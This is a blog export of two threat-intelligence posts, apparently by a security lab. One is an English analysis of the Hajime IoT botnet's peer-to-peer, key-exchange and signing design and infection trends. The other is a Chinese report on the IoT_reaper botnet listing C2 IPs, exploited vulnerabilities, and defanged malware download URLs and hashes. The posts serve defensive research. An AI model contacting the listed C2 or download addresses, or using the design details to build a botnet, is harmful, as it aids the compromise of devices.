others could not restore the content by packet capture. Besides, Hajime uses a key negotiation algorithm to ensure that the RC4 key is not stealable.</p> <p><img src="__GHOST_URL__/content/images/2017/09/8.DH25519_For_Hajime.png" alt="" loading="lazy"></p> <p>Hajime uses ECDH as the key exchange protocol and selects a key exchange algorithm based on Curve25519 elliptic curve. Although there are many open ECDH implementations on the Internet, the author of Hajime did not use the existing code directly. He has implemented a more efficient key exchange process. This implementation features on projecting points from the original elliptical space to the new one-dimensional series. Besides, in the &quot;double point&quot; calculation process, it only calculates the X coordinates, without considering the Y coordinates. Therefore he can improve the computational efficiency.</p> <p><em>Reference for Curve25519 can be found at: <a href="https://cr.yp.to/ecdh.html">https://cr.yp.to/ecdh.html</a></em><br> <em>The fundamentals for the new key exchange algorithm can be found at <a href="https://cr.yp.to/ecdh/curvezero-20060726.pdf">https://cr.yp.to/ecdh/curvezero-20060726.pdf</a></em></p> <h2 id="documentsignature">Document Signature</h2> <p>In P2P networks, nodes are untrustworthy, and anyone can fake a Hajime node at a very low cost. To ensure that the Hajime network is completely controllable and not stolen by others, Hajime nodes need to verify the signature of each synchronized file before acceptance and execution. Hajime adopts a public digital signature algorithm called ED25519 and uses <code>A55CEED41FECB3AC66B6515AB5D383791B00FEC166A590D7626A04C2466B3F54</code> as public key, which is integrated into each Hajime's execution module. Thus every Hajime nodes can verify the integrity of an new synchronized file.</p> <h1 id="currentstatus">Current status</h1> <p>The following diagram shows daily active hijime nodes since the beginning of July.</p> <h2 id="dailyactivenodes">Daily active nodes</h2> <p>Below shows the number of daily active IPs:</p> <p><img src="__GHOST_URL__/content/images/2017/09/Hajime_BotTrends-1.jpg" alt="" loading="lazy"></p> <p>It is not difficult to spot that in the second half of July, Hajime infection went down. Correspondently there were no botnet file update during that period(did the author go for vacation?) Starting from August, the author started to update the Hajime files, and the bot numbers started to going up, noticeably on 2017-08-06 and 2017-08-12, with the author pushing update, the botnet climbed up really quickly. Subsequently, Hajime completed several updates on 2017-08-18, 2017-08-19, 2017-08-22 and 2017-09-04. This opened the new normality of frequent updates.</p> <h2 id="geographicaldistribution">Geographical distribution</h2> <p>The following figure shows the geographical activity of Hajime in the past two months:</p> <p><img src="__GHOST_URL__/content/images/2017/09/Hajime_Bot_Distribution-1.jpg" alt="" loading="lazy"></p> <p>The deeper the color, the more serious the affected area.</p> <h2 id="updatefrequency">Update frequency</h2> <p>Hajime was not updated frequently in July, and there was a two-week break. However, after August 5, Hajime began to regain activity:</p> <p><img src="__GHOST_URL__/content/images/2017/09/3_Hajime_update_config.png" alt="" loading="lazy"></p> <p>In fact, all updates in the past month are patches on the existing code. There’s no dramatic change.</p> <h2 id="updateonbotpropagation">Update on bot propagation</h2> <p>Originally,Hajime propagated mainly thought TR_069 vulnerability and weak telnet account, as time goes by, more vulnerabilities have been added, and the following is the newest vulnerability breakdown.</p> <p><img src="__GHOST_URL__/content/images/2017/09/4.-Hajime_spread_way_en-1.jpg" alt="" loading="lazy"></p> <ul> <li><code>2017-01-17 atk.arm5.1481380646 2487b4ed4a2f55bfd743b2e6b98f8121</code></li> <li><code>2017-05-29 atk.arm5.1496096402 a238462e1e758792c5d1f04b82f4a6a0</code></li> <li><code>http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html</code></li> <li><code>https://gist.github.com/ylluminate/fcee91965b58695460ce849c424488f7</code></li> <li><code>https://twitter.com/masafuminegishi/status/870182653797871617</code></li> </ul> <h2 id="cpuarchitecturedistributionofhajimenode">CPU Architecture Distribution of Hajime Node</h2> <p>The propagation of Hajime is limited among a small number of different CPUs. Our analysis on 18433 Hajime nodes shows that the Mipseb CPU is affected the most.</p> <p><img src="__GHOST_URL__/content/images/2017/09/11_Hajime_CPU_count-1.jpg" alt="" loading="lazy"></p> <h1 id="moreobservationsonhajime">More Observations on Hajime</h1> <h2 id="supportforx64platform">Support for x64 platform?</h2> <p>Our tracking system captured a special config file <code>b8a5082689606ea20a557883dbff7d10</code> on 2017-08-29.<br> This config file can be verified successfully and contained settings for X64 CPU, which indicated that Hajime author is planning to support PC platforms.</p> <p>The config file is shown as followed:</p> <p><img src="__GHOST_URL__/content/images/2017/09/9.Hajime_config_with_x64.png" alt="" loading="lazy"></p> <p>However there are some doubts in this config file:</p> <ul> <li>We can only get two modules (atk.mipseb/.i.mipseb) listed in the config file while other CPU architecture's modules are unavailable in Hajime network.</li> <li>The &quot;info&quot; field, which contains the author's whitehat declaration, is missing in this config file. This is quite abnormal according to author's previous habit.</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/09/12.Hajime_Verify_Confirm.jpg" alt="" loading="lazy"></p> <p>So we have two possibilities here:</p> <ul> <li> <p>The author has intention to support x64 platform. As mentioned before, all Hajime files are signed by the private key and need to be verified before any Hajime node takes the update.</p> </li> <li> <p>The private key has been leaked, someone else is trying to poison the Hajime network.</p> </li> </ul> <p>We prefer the first scenario at this point, and it will be big change for Hajime itself if it is moving to the pc battleground. We will keep a close eye on what will unfold in the future.</p> <p>1: <a href="https://x86.re/blog/hajime-a-follow-up/">https://x86.re/blog/hajime-a-follow-up/</a><br> 2: <a href="https://github.com/Psychotropos/hajime_hashes">https://github.com/Psychotropos/hajime_hashes</a><br> 3: <a href="https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf">https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf</a><br> 4: <a href="https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/">https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/</a></p> <!--kg-card-end: markdown-->

Overview The mysterious Hajime botnet was first discovered by Rapiditynetworks in Oct 2016, and it was all over the news earlier this year, but it seems that nobody talks about it any more now, is this botnet gone? The answer is no, our team has been tracking this botnet for quite some time, and we have recently noticed the number of infections has been going up, and a very interesting feature, an x64 config has been added in the code(is the botnet author eying PC platform as the next target? Or key leaked?). Unlike the traditional Hajime-runs-in-sandbox solution, which really has no control over the bot besides merely observing it(a good example, researcher cannot ask the bot in sandbox to go over all the peering nodes and pull all the files). Our team was able to figure out the key exchange scheme of this botnet so we are able to participate in the Hajime network with full control of the bot behaviors, with that, we have been able to gain more insights. The visibility of this botnet is fairly poor in security research field, with the two observations above, we decide to talk about this botnet a little bit and also start a public accessible Hajime tracking project here How Hajime works For some basic concepts of Hajime botnet, we suggest readers to take a good look at the Rapiditynetworks paper here so we don’t need to repeat known facts here. Overall framework Hajime’s implementation follows the modular programming paradigm. There are two common executable modules: "execution module” (also known as stage2 or .i module) and “propagation module" (also known as atk module). In the propagation module (.i module), the Hajime nodes will establish a P2P network based on the DHT protocol. On top of this P2P network, Hajime nodes can perform inter-node negotiation, control command transmission and file synchronization. Any node can obtain the control instructions from the administrator without direct communication to the administrator. This not only provides protection for the administrator, but also maintains the stability of the botnet itself. Once the network is set up, it is extremely difficult to take it down. In the DHT network, Hajime encodes the config file as a special infohash value. This is a 160 bit binary number, changed daily. By indexing the infohash value, Hajime can get the latest config file. The above figure shows a config file in August 12, 2017. You can see it is a text file. The modules field contains the module file name for different CPU architectures. The peers field specifies the entry domain name for the DHT network. The two domain names are both valid and publicly accessible. The configuration file will direct Hajime to synchronize to the latest "propagation module (atk module)" or “execution module (.i module)". File synchronization In a DHT network, each Hajime node can correspond to a peer. By searching in the DHT network, the Hajime node can easily get the address information of other Hajime nodes. During file synchronization, it will traverse other nodes sequentially and perform synchronization on each node. The inter-node communication relies on the uTP protocol. This protocol implements mechanisms such as three-way handshake, session retransmission and session interruption based on UDP to ensure trusted communication between Hajime nodes. Key exchange On the channel provided by uTP, Hajime made the RC4 communication encryption for each session to ensure that others could not restore the content by packet capture. Besides, Hajime uses a key negotiation algorithm to ensure that the RC4 key is not stealable. Hajime uses ECDH as the key exchange protocol and selects a key exchange algorithm based on Curve25519 elliptic curve. Although there are many open ECDH implementations on the Internet, the author of Hajime did not use the existing code directly. He has implemented a more efficient key exchange process. This implementation features on projecting points from the original elliptical space to the new one-dimensional series. Besides, in the "double point" calculation process, it only calculates the X coordinates, without considering the Y coordinates. Therefore he can improve the computational efficiency. Reference for Curve25519 can be found at: https://cr.yp.to/ecdh.html The fundamentals for the new key exchange algorithm can be found at https://cr.yp.to/ecdh/curvezero-20060726.pdf Document Signature In P2P networks, nodes are untrustworthy, and anyone can fake a Hajime node at a very low cost. To ensure that the Hajime network is completely controllable and not stolen by others, Hajime nodes need to verify the signature of each synchronized file before acceptance and execution. Hajime adopts a public digital signature algorithm called ED25519 and uses A55CEED41FECB3AC66B6515AB5D383791B00FEC166A590D7626A04C2466B3F54 as public key, which is integrated into each Hajime's execution module. Thus every Hajime nodes can verify the integrity of an new synchronized file. Current status The following diagram shows daily active hijime nodes since the beginning of July. Daily active nodes Below shows the number of daily active IPs: It is not difficult to spot that in the second half of July, Hajime infection went down. Correspondently there were no botnet file update during that period(did the author go for vacation?) Starting from August, the author started to update the Hajime files, and the bot numbers started to going up, noticeably on 2017-08-06 and 2017-08-12, with the author pushing update, the botnet climbed up really quickly. Subsequently, Hajime completed several updates on 2017-08-18, 2017-08-19, 2017-08-22 and 2017-09-04. This opened the new normality of frequent updates. Geographical distribution The following figure shows the geographical activity of Hajime in the past two months: The deeper the color, the more serious the affected area. Update frequency Hajime was not updated frequently in July, and there was a two-week break. However, after August 5, Hajime began to regain activity: In fact, all updates in the past month are patches on the existing code. There’s no dramatic change. Update on bot propagation Originally,Hajime propagated mainly thought TR_069 vulnerability and weak telnet account, as time goes by, more vulnerabilities have been added, and the following is the newest vulnerability breakdown. * 2017-01-17 atk.arm5.1481380646 2487b4ed4a2f55bfd743b2e6b98f8121 * 2017-05-29 atk.arm5.1496096402 a238462e1e758792c5d1f04b82f4a6a0 * http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html * https://gist.github.com/ylluminate/fcee91965b58695460ce849c424488f7 * https://twitter.com/masafuminegishi/status/870182653797871617 CPU Architecture Distribution of Hajime Node The propagation of Hajime is limited among a small number of different CPUs. Our analysis on 18433 Hajime nodes shows that the Mipseb CPU is affected the most. More Observations on Hajime Support for x64 platform? Our tracking system captured a special config file b8a5082689606ea20a557883dbff7d10 on 2017-08-29. This config file can be verified successfully and contained settings for X64 CPU, which indicated that Hajime author is planning to support PC platforms. The config file is shown as followed: However there are some doubts in this config file: * We can only get two modules (atk.mipseb/.i.mipseb) listed in the config file while other CPU architecture's modules are unavailable in Hajime network. * The "info" field, which contains the author's whitehat declaration, is missing in this config file. This is quite abnormal according to author's previous habit. So we have two possibilities here: * The author has intention to support x64 platform. As mentioned before, all Hajime files are signed by the private key and need to be verified before any Hajime node takes the update. * The private key has been leaked, someone else is trying to poison the Hajime network. We prefer the first scenario at this point, and it will be big change for Hajime itself if it is moving to the pc battleground. We will keep a close eye on what will unfold in the future. 1: https://x86.re/blog/hajime-a-follow-up/ 2: https://github.com/Psychotropos/hajime_hashes 3: https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf 4: https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"# Overview \n\nThe mysterious Hajime botnet was first discovered by Rapiditynetworks in Oct 2016, and it was all over the news earlier this year, but it seems that nobody talks about it any more now, is this botnet gone?\n\nThe answer is no, our team has been tracking this botnet for quite some time, and we have recently noticed the number of infections has been going up, and a very interesting feature, an x64 config has been added in the code(is the botnet author eying PC platform as the next target? Or key leaked?). \n\nUnlike the traditional Hajime-runs-in-sandbox solution, which really has no control over the bot besides merely observing it(a good example, researcher cannot ask the bot in sandbox to go over all the peering nodes and pull all the files). \n\nOur team was able to figure out the key exchange scheme of this botnet so we are able to participate in the Hajime network with full control of the bot behaviors, with that, we have been able to gain more insights. The visibility of this botnet is fairly poor in security research field, with the two observations above, we decide to talk about this botnet a little bit and also start a public accessible Hajime tracking project [here](http://data.netlab.360.com/hajime/)\n\n# How Hajime works\n\nFor some basic concepts of Hajime botnet, we suggest readers to take a good look at the Rapiditynetworks paper [here](https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf) so we don’t need to repeat known facts here.\n\n## Overall framework\n\nHajime’s implementation follows the modular programming paradigm. There are two common executable modules: \"execution module” (also known as stage2 or .i module) and “propagation module\" (also known as atk module).\n\n\n\nIn the propagation module (.i module), the Hajime nodes will establish a P2P network based on the DHT protocol. On top of this P2P network, Hajime nodes can perform inter-node negotiation, control command transmission and file synchronization. Any node can obtain the control instructions from the administrator without direct communication to the administrator. This not only provides protection for the administrator, but also maintains the stability of the botnet itself. Once the network is set up, it is extremely difficult to take it down.\n\n\n\n\nIn the DHT network, Hajime encodes the config file as a special infohash value. This is a 160 bit binary number, changed daily. By indexing the infohash value, Hajime can get the latest config file.\n\n\n\n\n\nThe above figure shows a config file in August 12, 2017. You can see it is a text file. The modules field contains the module file name for different CPU architectures. The peers field specifies the entry domain name for the DHT network. The two domain names are both valid and publicly accessible. The configuration file will direct Hajime to synchronize to the latest \"propagation module (atk module)\" or “execution module (.i module)\".\n\n\n## File synchronization\n\nIn a DHT network, each Hajime node can correspond to a peer. By searching in the DHT network, the Hajime node can easily get the address information of other Hajime nodes. During file synchronization, it will traverse other nodes sequentially and perform synchronization on each node. The inter-node communication relies on the uTP protocol. This protocol implements mechanisms such as three-way handshake, session retransmission and session interruption based on UDP to ensure trusted communication between Hajime nodes.\n\n## Key exchange\n\nOn the channel provided by uTP, Hajime made the RC4 communication encryption for each session to ensure that others could not restore the content by packet capture. Besides, Hajime uses a key negotiation algorithm to ensure that the RC4 key is not stealable.\n\n\n\nHajime uses ECDH as the key exchange protocol and selects a key exchange algorithm based on Curve25519 elliptic curve. Although there are many open ECDH implementations on the Internet, the author of Hajime did not use the existing code directly. He has implemented a more efficient key exchange process. This implementation features on projecting points from the original elliptical space to the new one-dimensional series. Besides, in the \"double point\" calculation process, it only calculates the X coordinates, without considering the Y coordinates. Therefore he can improve the computational efficiency.\n\n*Reference for Curve25519 can be found at: https://cr.yp.to/ecdh.html* \n*The fundamentals for the new key exchange algorithm can be found at https://cr.yp.to/ecdh/curvezero-20060726.pdf*\n\n## Document Signature\n\nIn P2P networks, nodes are untrustworthy, and anyone can fake a Hajime node at a very low cost. To ensure that the Hajime network is completely controllable and not stolen by others, Hajime nodes need to verify the signature of each synchronized file before acceptance and execution. Hajime adopts a public digital signature algorithm called ED25519 and uses `A55CEED41FECB3AC66B6515AB5D383791B00FEC166A590D7626A04C2466B3F54` as public key, which is integrated into each Hajime's execution module. Thus every Hajime nodes can verify the integrity of an new synchronized file.\n\n# Current status\n\nThe following diagram shows daily active hijime nodes since the beginning of July.\n\n\n\n## Daily active nodes\nBelow shows the number of daily active IPs:\n\n\n\n\nIt is not difficult to spot that in the second half of July, Hajime infection went down. Correspondently there were no botnet file update during that period(did the author go for vacation?) Starting from August, the author started to update the Hajime files, and the bot numbers started to going up, noticeably on 2017-08-06 and 2017-08-12, with the author pushing update, the botnet climbed up really quickly. Subsequently, Hajime completed several updates on 2017-08-18, 2017-08-19, 2017-08-22 and 2017-09-04. This opened the new normality of frequent updates.\n\n## Geographical distribution\n\nThe following figure shows the geographical activity of Hajime in the past two months:\n\n\n\nThe deeper the color, the more serious the affected area. \n\n## Update frequency\n\nHajime was not updated frequently in July, and there was a two-week break. However, after August 5, Hajime began to regain activity:\n\n\n\nIn fact, all updates in the past month are patches on the existing code. There’s no dramatic change.\n\n## Update on bot propagation\n\nOriginally,Hajime propagated mainly thought TR_069 vulnerability and weak telnet account, as time goes by, more vulnerabilities have been added, and the following is the newest vulnerability breakdown.\n\n\n\n* `2017-01-17 atk.arm5.1481380646 2487b4ed4a2f55bfd743b2e6b98f8121`\n* `2017-05-29 atk.arm5.1496096402 a238462e1e758792c5d1f04b82f4a6a0`\n* `http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html`\n* `https://gist.github.com/ylluminate/fcee91965b58695460ce849c424488f7`\n* `https://twitter.com/masafuminegishi/status/870182653797871617`\n\n## CPU Architecture Distribution of Hajime Node\n\nThe propagation of Hajime is limited among a small number of different CPUs. Our analysis on 18433 Hajime nodes shows that the Mipseb CPU is affected the most.\n\n\n\n\n\n# More Observations on Hajime\n\n## Support for x64 platform?\n\nOur tracking system captured a special config file `b8a5082689606ea20a557883dbff7d10` on 2017-08-29.\nThis config file can be verified successfully and contained settings for X64 CPU, which indicated that Hajime author is planning to support PC platforms.\n\nThe config file is shown as followed:\n\n\n\nHowever there are some doubts in this config file:\n\n* We can only get two modules (atk.mipseb/.i.mipseb) listed in the config file while other CPU architecture's modules are unavailable in Hajime network.\n* The \"info\" field, which contains the author's whitehat declaration, is missing in this config file. This is quite abnormal according to author's previous habit.\n\n\n\n\n\nSo we have two possibilities here:\n\n* The author has intention to support x64 platform. As mentioned before, all Hajime files are signed by the private key and need to be verified before any Hajime node takes the update.\n\n\n* The private key has been leaked, someone else is trying to poison the Hajime network.\n\n\nWe prefer the first scenario at this point, and it will be big change for Hajime itself if it is moving to the pc battleground. We will keep a close eye on what will unfold in the future.\n\n\n\n1: https://x86.re/blog/hajime-a-follow-up/\n2: https://github.com/Psychotropos/hajime_hashes\n3: https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf \n4: https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

65

post

2017-10-20T09:51:07.000Z

63873b9a8b1c1e0007f52efd

iot-reaper-a-quick-summary-of-a-rapid-spreading-new-iot-botnet

2022-02-09T07:15:37.000Z

public

published

2017-10-20T10:54:39.000Z

IoT_reaper : 一个正在快速扩张的新 IoT 僵尸网络

<!--kg-card-begin: markdown--><p>从2017-09-13 01:02:13开始，我们捕获到一个新的针对iot设备的恶意样本出现，在随后的这个一个多月时间里，这个新的IoT僵尸网络家族不断持续更新，开始在互联网上快速大规模的组建僵尸网络军团。</p> <p>该僵尸网络脱胎于mirai，但是在诸多方面比mirai更进一步，特别是开始放弃弱口令猜测，完全转向利用IoT设备漏洞收割，成为IoT僵尸网络里的新兴玩家。我们将之命名为<strong>IoT_reaper</strong>。</p> <p><strong>IoT_reaper</strong>规模较大且正在积极扩张，例如最近的数据昨日(10月19日)在我们观察到的多个C2中，其中一个C2上活跃IP地址去重后已经有10k个，此外还有更多的易感设备信息已经被提交到后台，由一个自动的loader持续植入恶意代码、扩大僵尸网络规模。</p> <p>所幸目前该僵尸网络还尚未发出植入恶意代码以外的其他攻击指令，这反映出该僵尸网络仍然处在早期扩张阶段。但是作者正在积极的修改代码，这值得我们警惕。</p> <p>我们公开<strong>IoT_reaper</strong>的相关信息，希望安全社区、设备供应商、政府能够采取共同行动，联合遏制该僵尸网络的扩张。</p> <h3 id="miraimirai">源于mirai，高于mirai</h3> <p>该僵尸网络部分借用了mirai的源代码，但是在几个关键行为上显著区别于mirai，包括：</p> <ul> <li>恶意代码投入时不再使用弱口令猜测、而是使用iot设备漏洞，扫描发现效率大大提高；</li> <li>恶意代码中集成了LUA执行环境，从而支持通过lua脚本编写复杂的攻击指令；</li> <li>主动抑制了扫描速度， 被安全研究者发现的风险大大降低；</li> </ul> <h3 id="c2">样本的投入、C2的布局和流量变化</h3> <p>以hxxp://162.211.183.192/sa样本为例，样本的投入过程如下。可以注意到downloader是IoT_reaper特有，这个 C2 布局与mirai有显著区别：</p> <ul> <li>162.211.183.192：downloader，样本下载服务器，一般以&quot;d&quot;作为二级域名，d.hl852.com</li> <li>27.102.101.121：controller，能够控制BOT、发送控制指令，一般以&quot;e&quot;作为二级域名，e.hl852.com</li> <li>222.112.82.231：reporter，接收BOT扫描到的易感染设备信息，一般以&quot;f&quot;作为二级域名，f.hl852.com</li> <li>119.82.26.157：loader，基于reporter获得的IP信息，通过漏洞植入bot</li> </ul> <p>下图是上述4个IP地址自9月1日以来的流量变化：<br> <img src="__GHOST_URL__/content/images/2017/10/c2_traffic_history.png" alt="" loading="lazy"></p> <h3 id="9iot">样本中集成了9个IoT漏洞</h3> <p><strong>IoT_reaper</strong>完全放弃了mirai中利用弱口令猜测的方式，转为利用IoT设备的漏洞植入，当前样本中集成了了9个IoT设备漏洞。最近十天以来，攻击者正在积极的将漏洞利用集成进入样本中，其中一个漏洞在公开后仅2天就被集成。</p> <ul> <li>Dlink <a href="https://blogs.securiteam.com/index.php/archives/3364">https://blogs.securiteam.com/index.php/archives/3364</a></li> <li>Goahead <a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html</a></li> <li>JAWS <a href="https://www.pentestpartners.com/blog/pwning-cctv-cameras/">https://www.pentestpartners.com/blog/pwning-cctv-cameras/</a></li> <li>Netgear <a href="https://blogs.securiteam.com/index.php/archives/3409">https://blogs.securiteam.com/index.php/archives/3409</a></li> <li>Vacron NVR <a href="https://blogs.securiteam.com/index.php/archives/3445">https://blogs.securiteam.com/index.php/archives/3445</a></li> <li>Netgear <a href="http://seclists.org/bugtraq/2013/Jun/8">http://seclists.org/bugtraq/2013/Jun/8</a></li> <li>Linksys <a href="http://www.s3cur1ty.de/m1adv2013-004">http://www.s3cur1ty.de/m1adv2013-004</a></li> <li>dlink <a href="http://www.s3cur1ty.de/m1adv2013-003">http://www.s3cur1ty.de/m1adv2013-003</a></li> <li>AVTECH <a href="https://github.com/Trietptm-on-Security/AVTECH">https://github.com/Trietptm-on-Security/AVTECH</a></li> </ul> <p><img src="__GHOST_URL__/content/images/2017/10/sample_exploit_integration_timeline.png" alt="" loading="lazy"></p> <p>可以注意到作者在积极的改进代码：</p> <ul> <li>公开渠道10月8日公开的 Vacron NVR远程利用漏洞，作者在10月10日以前就已经增加到恶意代码中；</li> <li>10月12日、10月16日的两次更新，作者分别增加了3个、1个漏洞利用；</li> </ul> <h3 id="lua">样本中集成了lua执行环境</h3> <p>Md5: CA92A3B74A65CE06035FCC280740DAF6<br> 基于lua执行环境，攻击者可以编写出非常复杂而且高效的攻击脚本。</p> <h3 id="100dns">样本中集成了约100个DNS服务器</h3> <p>比照我们的<a href="http://data.netlab.360.com/drdos-reflector/">DRDoS</a>数据，100+的DNS服务器中，有大约三分之一的服务器曾经在现实世界中用来做为DNS反射攻击的反射点。这在之前mirai及其变种中是没有观察到的。</p> <p>攻击者是否能够进一步充分组合使用 IoT 僵尸网络 + DNS反射点 打出大流量的DDoS攻击，有待进一步观察。</p> <h3 id="">目前为止没有实质性的攻击指令</h3> <p>攻击指令方面，虽然我们在lua的源文件中看到了N中ddos攻击方式，但目前为止除了下载样本的指令以外，没有看到实际DDoS攻击指令，这显示出攻击者目前工作重心仍在构建僵尸网络上。</p> <h3 id="">感染规模</h3> <p>基于一些统计技巧，我们对感染规模做了一个相对精确的统计</p> <ul> <li>待植入节点数：单个C2，超过2m；</li> <li>累积已植入节点数：单个C2，近7天超过20k；</li> <li>当日活跃节点数：单个C2，10月19日大约是10k左右；</li> <li>同时在线节点数：单个C2，大约是4k左右；</li> </ul> <h3 id="">攻击能力</h3> <p>虽然目前为止我们没有监测到该僵尸网络除植入恶意代码以外的任何攻击行为，但是我们判定该僵尸网络有较强的攻击潜力：</p> <ul> <li>可以认为攻击者拥有100Gbps攻击带宽。我们已经确认该僵尸网络有超过10k/d的日活节点，假定每个节点拥有10mbps的上行带宽，则攻击者拥有100Gbps的攻击带宽；</li> <li>该僵尸网络内置了lua执行环境。尽管样本中删去了mirai相关攻击代码，但基于lua执行环境可以编写出非常复杂而且高效的攻击脚本；</li> </ul> <h3 id="iocurls">IoC URLs</h3> <p>hxxp://cbk99.com:8080/run.lua<br> hxxp://bbk80.com/api/api.php<br> hxxp://103.1.221.40/63ae01/39xjsda.php<br> hxxp://162.211.183.192/down/server.armel<br> hxxp://162.211.183.192/sa<br> hxxp://162.211.183.192/sa5<br> hxxp://162.211.183.192/server.armel<br> hxxp://162.211.183.192/sm<br> hxxp://162.211.183.192/xget<br> hxxp://198.44.241.220:8080/run.lua<br> hxxp://23.234.51.91/control-ARM-LSB<br> hxxp://23.234.51.91/control-MIPS32-MSB<br> hxxp://23.234.51.91/ht_am5le<br> hxxp://23.234.51.91/ht_mpbe<br> hxxp://27.102.101.121/down/1506753086<br> hxxp://27.102.101.121/down/1506851514</p> <h3 id="iochashes">IoC Hashes</h3> <p>3182a132ee9ed2280ce02144e974220a<br> 3d680273377b67e6491051abe17759db<br> 41ef6a5c5b2fde1b367685c7b8b3c154<br> 4406bace3030446371df53ebbdc17785<br> 4e2f58ba9a8a2bf47bdc24ee74956c73<br> 596b3167fe0d13e3a0cfea6a53209be4<br> 6587173d571d2a587c144525195daec9<br> 6f91694106bb6d5aaa7a7eac841141d9<br> 704098c8a8a6641a04d25af7406088e1<br> 726d0626f66d5cacfeff36ed954dad70<br> 76be3db77c7eb56825fe60009de2a8f2<br> 95b448bdf6b6c97a33e1d1dbe41678eb<br> 9ad8473148e994981454b3b04370d1ec<br> 9f8e8b62b5adaf9c4b5bdbce6b2b95d1<br> a3401685d8d9c7977180a5c6df2f646a<br> abe79b8e66c623c771acf9e21c162f44<br> b2d4a77244cd4f704b65037baf82d897<br> ca92a3b74a65ce06035fcc280740daf6<br> e9a03dbde09c6b0a83eefc9c295711d7<br> f9ec2427377cbc6afb4a7ff011e0de77<br> fb7c00afe00eeefb5d8a24d524f99370</p> <!--kg-card-end: markdown-->

从2017-09-13 01:02:13开始，我们捕获到一个新的针对iot设备的恶意样本出现，在随后的这个一个多月时间里，这个新的IoT僵尸网络家族不断持续更新，开始在互联网上快速大规模的组建僵尸网络军团。 该僵尸网络脱胎于mirai，但是在诸多方面比mirai更进一步，特别是开始放弃弱口令猜测，完全转向利用IoT设备漏洞收割，成为IoT僵尸网络里的新兴玩家。我们将之命名为IoT_reaper。 IoT_reaper规模较大且正在积极扩张，例如最近的数据昨日(10月19日)在我们观察到的多个C2中，其中一个C2上活跃IP地址去重后已经有10k个，此外还有更多的易感设备信息已经被提交到后台，由一个自动的loader持续植入恶意代码、扩大僵尸网络规模。 所幸目前该僵尸网络还尚未发出植入恶意代码以外的其他攻击指令，这反映出该僵尸网络仍然处在早期扩张阶段。但是作者正在积极的修改代码，这值得我们警惕。 我们公开IoT_reaper的相关信息，希望安全社区、设备供应商、政府能够采取共同行动，联合遏制该僵尸网络的扩张。 源于mirai，高于mirai 该僵尸网络部分借用了mirai的源代码，但是在几个关键行为上显著区别于mirai，包括： * 恶意代码投入时不再使用弱口令猜测、而是使用iot设备漏洞，扫描发现效率大大提高； * 恶意代码中集成了LUA执行环境，从而支持通过lua脚本编写复杂的攻击指令； * 主动抑制了扫描速度， 被安全研究者发现的风险大大降低； 样本的投入、C2的布局和流量变化 以hxxp://162.211.183.192/sa样本为例，样本的投入过程如下。可以注意到downloader是IoT_reaper特有，这个 C2 布局与mirai有显著区别： * 162.211.183.192：downloader，样本下载服务器，一般以"d"作为二级域名，d.hl852.com * 27.102.101.121：controller，能够控制BOT、发送控制指令，一般以"e"作为二级域名，e.hl852.com * 222.112.82.231：reporter，接收BOT扫描到的易感染设备信息，一般以"f"作为二级域名，f.hl852.com * 119.82.26.157：loader，基于reporter获得的IP信息，通过漏洞植入bot 下图是上述4个IP地址自9月1日以来的流量变化： 样本中集成了9个IoT漏洞 IoT_reaper完全放弃了mirai中利用弱口令猜测的方式，转为利用IoT设备的漏洞植入，当前样本中集成了了9个IoT设备漏洞。最近十天以来，攻击者正在积极的将漏洞利用集成进入样本中，其中一个漏洞在公开后仅2天就被集成。 * Dlink https://blogs.securiteam.com/index.php/archives/3364 * Goahead https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html * JAWS https://www.pentestpartners.com/blog/pwning-cctv-cameras/ * Netgear https://blogs.securiteam.com/index.php/archives/3409 * Vacron NVR https://blogs.securiteam.com/index.php/archives/3445 * Netgear http://seclists.org/bugtraq/2013/Jun/8 * Linksys http://www.s3cur1ty.de/m1adv2013-004 * dlink http://www.s3cur1ty.de/m1adv2013-003 * AVTECH https://github.com/Trietptm-on-Security/AVTECH 可以注意到作者在积极的改进代码： * 公开渠道10月8日公开的 Vacron NVR远程利用漏洞，作者在10月10日以前就已经增加到恶意代码中； * 10月12日、10月16日的两次更新，作者分别增加了3个、1个漏洞利用； 样本中集成了lua执行环境 Md5: CA92A3B74A65CE06035FCC280740DAF6 基于lua执行环境，攻击者可以编写出非常复杂而且高效的攻击脚本。 样本中集成了约100个DNS服务器 比照我们的DRDoS数据，100+的DNS服务器中，有大约三分之一的服务器曾经在现实世界中用来做为DNS反射攻击的反射点。这在之前mirai及其变种中是没有观察到的。 攻击者是否能够进一步充分组合使用 IoT 僵尸网络 + DNS反射点 打出大流量的DDoS攻击，有待进一步观察。 目前为止没有实质性的攻击指令 攻击指令方面，虽然我们在lua的源文件中看到了N中ddos攻击方式，但目前为止除了下载样本的指令以外，没有看到实际DDoS攻击指令，这显示出攻击者目前工作重心仍在构建僵尸网络上。 感染规模 基于一些统计技巧，我们对感染规模做了一个相对精确的统计 * 待植入节点数：单个C2，超过2m； * 累积已植入节点数：单个C2，近7天超过20k； * 当日活跃节点数：单个C2，10月19日大约是10k左右； * 同时在线节点数：单个C2，大约是4k左右； 攻击能力 虽然目前为止我们没有监测到该僵尸网络除植入恶意代码以外的任何攻击行为，但是我们判定该僵尸网络有较强的攻击潜力： * 可以认为攻击者拥有100Gbps攻击带宽。我们已经确认该僵尸网络有超过10k/d的日活节点，假定每个节点拥有10mbps的上行带宽，则攻击者拥有100Gbps的攻击带宽； * 该僵尸网络内置了lua执行环境。尽管样本中删去了mirai相关攻击代码，但基于lua执行环境可以编写出非常复杂而且高效的攻击脚本； IoC URLs hxxp://cbk99.com:8080/run.lua hxxp://bbk80.com/api/api.php 